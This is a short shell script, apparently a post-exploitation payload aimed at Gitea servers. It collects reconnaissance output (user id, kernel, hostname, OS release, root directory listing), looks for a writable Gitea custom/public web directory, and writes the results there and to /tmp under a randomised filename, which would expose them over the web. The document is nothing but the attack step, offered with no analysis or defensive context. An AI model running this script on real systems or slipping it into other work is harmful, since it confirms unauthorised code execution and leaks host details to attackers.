#!/bin/sh OUTPUT=$(id; uname -a; hostname; cat /etc/os-release 2>/dev/null | head -3; ls / 2>/dev/null 2>&1) # Try multiple write paths for d in /home/git/gitea/custom/public /var/lib/gitea/custom/public /app/gitea/custom/public /data/gitea/custom/public /home/git/custom/public; do if [ -w "$d" ]; then printf "%s" "$OUTPUT" > "$d/out_tq5jrj.txt" break fi done # Also write to /tmp printf "%s" "$OUTPUT" > /tmp/out_tq5jrj.txt